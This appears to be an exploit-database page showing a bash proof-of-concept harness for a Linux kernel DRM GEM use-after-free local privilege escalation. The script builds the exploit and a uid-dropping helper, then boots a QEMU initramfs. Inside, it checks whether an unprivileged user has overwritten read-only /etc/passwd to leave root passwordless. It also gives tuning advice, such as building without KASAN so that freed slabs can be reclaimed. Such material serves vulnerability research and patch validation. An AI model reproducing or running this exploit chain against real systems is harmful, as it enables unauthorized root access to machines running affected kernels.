5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / run_exploit.sh SH
#!/bin/bash
#
# DRM GEM UAF - Full exploit chain reproduction script
#
# Prerequisites:
#   - qemu-system-x86_64, gcc, busybox (static), fakeroot, cpio, gzip
#   - A kernel bzImage (6.18-rc1 or later) built WITHOUT CONFIG_KASAN
#     (KASAN quarantines freed slabs, preventing pipe spray reclaim)
#
# Usage:
#   ./run_exploit.sh /path/to/bzImage
#

set -e

if [ -z "$1" ]; then
    echo "Usage: $0 /path/to/bzImage"
    exit 1
fi

BZIMAGE="$1"
if [ ! -f "$BZIMAGE" ]; then
    echo "[-] bzImage not found: $BZIMAGE"
    exit 1
fi

SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
WORKDIR=$(mktemp -d)
trap "rm -rf $WORKDIR" EXIT

echo "[*] Building exploit..."
gcc -o "$WORKDIR/poc" "$SCRIPT_DIR/poc.c" -lpthread -static

echo "[*] Building privilege-drop helper..."
cat > "$WORKDIR/drop_privs.c" << 'CEOF'
#include <unistd.h>
#include <stdio.h>
int main(void) {
    setgid(1000);
    setuid(1000);
    printf("[*] Now running as uid=%d gid=%d\n", getuid(), getgid());
    execv("/bin/poc", (char *[]){"/bin/poc", NULL});
    perror("execv");
    return 1;
}
CEOF
gcc -o "$WORKDIR/drop_privs" "$WORKDIR/drop_privs.c" -static

echo "[*] Building initramfs..."
INITRAMFS="$WORKDIR/initramfs"
mkdir -p "$INITRAMFS"/{bin,etc,tmp,dev,proc}

BUSYBOX=$(which busybox 2>/dev/null || true)
if [ -z "$BUSYBOX" ] || [ ! -f "$BUSYBOX" ]; then
    echo "[-] busybox not found. Install: apt install busybox-static"
    exit 1
fi

cp "$WORKDIR/poc" "$INITRAMFS/bin/"
cp "$WORKDIR/drop_privs" "$INITRAMFS/bin/"
cp "$BUSYBOX" "$INITRAMFS/bin/"

cd "$INITRAMFS/bin"
for cmd in sh ls cat id head chmod mkdir mount grep sleep; do
    ln -sf busybox "$cmd"
done

cat > "$INITRAMFS/init" << 'INITEOF'
#!/bin/sh
export PATH=/bin
mount -t proc proc /proc
mount -t devtmpfs devfs /dev
chmod 1777 /tmp

i=0
while [ ! -e /dev/dri/card0 ] && [ $i -lt 30 ]; do
    sleep 0.1 2>/dev/null || busybox usleep 100000
    i=$((i+1))
done
if [ ! -e /dev/dri/card0 ]; then
    echo "[-] /dev/dri/card0 never appeared - is -device virtio-gpu-pci set?"
    /bin/sh
    poweroff -f
fi
chmod 666 /dev/dri/*

echo "DRM GEM UAF - LPE Demo"
echo "Kernel: $(uname -r)"
echo
echo "/etc/passwd BEFORE (read-only, chmod 444):"
ls -la /etc/passwd
cat /etc/passwd
echo
echo "[*] Running exploit as uid 1000 (unprivileged)..."
echo

echo 1 > /proc/sys/kernel/printk

/bin/drop_privs

echo
echo "/etc/passwd AFTER:"
cat /etc/passwd
echo

if grep -q "pwned" /etc/passwd; then
    echo "[!] LPE CONFIRMED"
    echo "[!] uid 1000 overwrote read-only /etc/passwd"
    echo "[!] root account is now passwordless"
else
    echo "[-] Exploit did not modify /etc/passwd this run."
    echo "[-] The race is probabilistic, try again."
fi

echo
echo "[*] Dropping to shell (type 'poweroff -f' to exit)"
echo 7 > /proc/sys/kernel/printk
/bin/sh
poweroff -f
INITEOF
chmod 755 "$INITRAMFS/init"

cat > "$INITRAMFS/etc/passwd" << 'EOF'
root:x:0:0:root:/root:/bin/sh
user:x:1000:1000:user:/home/user:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
EOF
chmod 444 "$INITRAMFS/etc/passwd"

cd "$INITRAMFS"
fakeroot sh -c 'chown -R root:root . && chmod 1777 tmp && find . | cpio -o -H newc 2>/dev/null' | gzip > "$WORKDIR/initramfs.img"

echo "[*] Booting QEMU..."
echo "[*]   Kernel: $BZIMAGE"
echo "[*]   Press Ctrl-A X to force-quit QEMU"
echo

qemu-system-x86_64 \
    -kernel "$BZIMAGE" \
    -initrd "$WORKDIR/initramfs.img" \
    -device virtio-gpu-pci \
    -enable-kvm \
    -smp 2 \
    -m 4G \
    -nographic \
    -append "console=ttyS0 nokaslr"